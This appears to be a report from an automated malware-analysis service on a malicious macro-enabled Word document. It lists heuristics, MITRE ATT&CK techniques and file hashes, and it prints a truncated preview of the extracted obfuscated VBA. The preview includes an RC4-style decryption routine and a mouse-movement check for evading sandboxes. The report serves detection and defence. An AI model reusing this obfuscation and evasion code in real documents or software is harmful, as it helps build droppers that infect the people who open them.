MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample is a malicious OOXML document containing a VBA project. The presence of a Document_Open macro and a Shell() call indicates that the document is designed to execute arbitrary code upon opening. The heuristic 'SE_ENABLE_LURE' suggests the document likely prompts the user to enable macros, a common social engineering tactic. The VBA code appears to be obfuscated, but the critical heuristic firings strongly suggest it's a downloader or dropper.
Heuristics 6
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 114968 bytes |
SHA-256: c11eb2a2993511b8c3ac90b7aebcff2bcbb4857d17d239463da9aafb67177b73 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Dim MwGKiqklcpKBQN(3197) As Integer Dim QAJfCyxmS7m(9000) As Long, Um6A4Q23aO(9999) As Long Private Type QelScG3t FXtIIJEmc As Integer HDHgbZwgtCiSpIoS As Integer End Type #If VBA7 Then Private Declare PtrSafe Sub GetCursorPos Lib "User32" (VorDe5Zwo0 As QelScG3t) #Else Private Declare Sub GetCursorPos Lib "User32" (VorDe5Zwo0 As QelScG3t) #End If Function JHfaUtmUSoeMf(AqqhAeSV3VI, JdFXCpVSYGjQEbueZ) UfkIAAhJ0pI4K = 58 '63 JHfaUtmUSoeMf = AqqhAeSV3VI Xor JdFXCpVSYGjQEbueZ PbcsZhe4NMd = 19 '71 End Function Function WYui1L9(S4aoOZTs4() As Byte, XUexXVsefQB() As Byte) As String On Error Resume Next Dim B4MzngC(0 To 255) As Integer, LXZPzw As Long, Jl7IQL373u As Long, FJN As Long, SedZ5jikZelJ7n As Byte, RCBy8y8wrIl() As Byte, Ld70lb() As Byte ReDim RCBy8y8wrIl(ETijRCiSJQF(S4aoOZTs4)) As Byte RCBy8y8wrIl = S4aoOZTs4 ReDim Ld70lb(ETijRCiSJQF(XUexXVsefQB)) As Byte Ld70lb = XUexXVsefQB For LXZPzw = 0 To (2317 - 2062) B4MzngC(LXZPzw) = LXZPzw Next LXZPzw LXZPzw = 0 Jl7IQL373u = 0 FJN = 0 For LXZPzw = 0 To (-7321 + 7576) Jl7IQL373u = (Jl7IQL373u + B4MzngC(LXZPzw) + Ld70lb(LXZPzw Mod (ETijRCiSJQF(XUexXVsefQB) + 1))) Mod ((-1633 + 1889)) SedZ5jikZelJ7n = B4MzngC(LXZPzw) B4MzngC(LXZPzw) = B4MzngC(Jl7IQL373u) B4MzngC(Jl7IQL373u) = SedZ5jikZelJ7n Next LXZPzw LXZPzw = 0 Jl7IQL373u = 0 FJN = 0 For LXZPzw = 0 To ETijRCiSJQF(S4aoOZTs4) Jl7IQL373u = (Jl7IQL373u + 1) Mod (1020160 / 3985) FJN = (FJN + B4MzngC(Jl7IQL373u)) Mod (1249280 / 4880) SedZ5jikZelJ7n = B4MzngC(Jl7IQL373u) B4MzngC(Jl7IQL373u) = B4MzngC(FJN) B4MzngC(FJN) = SedZ5jikZelJ7n RCBy8y8wrIl(LXZPzw) = JHfaUtmUSoeMf(RCBy8y8wrIl(LXZPzw), (B4MzngC((B4MzngC(Jl7IQL373u) + B4MzngC(FJN)) Mod ((-3302 + 3558))))) Next LXZPzw WYui1L9 = V6RAi6IOw4pcJUp4o(RCBy8y8wrIl) End Function Sub Pq21G7K6SVUPuK() VVezO9M21 = 10 '46 HUJ2FegX77yUAwtC = 41 '17 End Sub Function KgGXuJ(ByVal Rfsudo9lSQ As Integer) As String MrEWys33re = 44 '28 Dim N5543yfgVv(1) As Byte, TIYWzwhU7g As Byte, Op7ekYMn As Byte DvUZi6e26vtJ27 = 19 '14 If Rfsudo9lSQ < 0 Then Exit Function FvKs = 52 '61 If Rfsudo9lSQ > (5885 - 5630) Then CRWMn2N8Bg7DBC = 65 '37 Op7ekYMn = 0 Else UARhm2kNa = 74 '22 TIYWzwhU7g = Rfsudo9lSQ TUvRtGpJpEC = 9 '91 Op7ekYMn = 0 O3qBNrDuzGB3H5UE = 28 '22 End If MnA4TNbeicXAa = 11 '24 N5543yfgVv(0) = TIYWzwhU7g N3lraHhOGS0r = 31 '26 N5543yfgVv(1) = Op7ekYMn HA2xLuUdW2 = 43 '33 KgGXuJ = N5543yfgVv DjtPkFg = 64 '9 End Function Function ETijRCiSJQF(ByVal WWs1ARAI9VCIB299m As Variant) As Long PUGaY4k = 74 '1 On Error GoTo DB8limVUGA5 FSi6R4NsFx1D = 75 '63 Dim DDeKUGTkqhx5 As Long, GPTdbzmn4si As Variant UyWJIDxddyO9lQR5 = 59 '97 Do GPTdbzmn4si = WWs1ARAI9VCIB299m(DDeKUGTkqhx5) DDeKUGTkqhx5 = DDeKUGTkqhx5 + 1 Loop OofGoNY65U = 9 '97 DB8limVUGA5: EUx6qT3CW = 8 '93 If DDeKUGTkqhx5 = 0 Then Exit Function G2MnB1gVL = 58 '28 ETijRCiSJQF = DDeKUGTkqhx5 - 1 HnF8UKj02e7 = 7 '2 End Function Sub H7wPqyWQN() O9NlNLMwl7FBfl = 7 '15 Dim GhyDI As QelScG3t, Bn4S0xAYm As Integer, LnkshwqFQVD As Long, BvnhC2j0ig As Long, KdLszP1yqbv As Integer, L7J3GewxaOt As Integer EpzYSYvg = 39 '29 KdLszP1yqbv = (9300 - 9298) LN6CheeYJ = 16 '46 GetCursorPos GhyDI XfCddiEq = 28 '7 Bn4S0xAYm = GhyDI.FXtIIJEmc + GhyDI.HDHgbZwgtCiSpIoS Gi6GZeBHtYQ = 98 '59 If Bn4S0xAYm < (22830 / 2283) Then T7Hwl = 68 '35 Do Loop Until 1 = 0 OTIkml1GSL = 92 '72 End If TgmFUyBb6nko5C = 23 '77 L7J3GewxaOt = 0 K19a2rUKoA = 34 '80 Do BvnhC2j0ig = Timer + 1 Do While Timer < BvnhC2j0ig Loop GetCursorPos GhyDI If GhyDI.FXtIIJEmc + GhyDI.HDHgbZwgtCiSpIoS <> Bn4S0xAYm Then L7J3GewxaOt = L7J3GewxaOt + 1 If L7J3GewxaOt >= KdLszP1yqbv Then Exit Do Bn4S0xAYm = GhyDI.FXtIIJEmc + GhyDI.HDHgbZwgtCiSpIoS End If LnkshwqFQVD = LnkshwqFQVD + 1 Loop Until LnkshwqFQVD = (-2657 + 2 ... (truncated) |
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 165888 bytes |
SHA-256: 3fd0252d612dd9ad32334807e8d629820afed7cbbf7259b1dc8a4ed56710d8d7 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.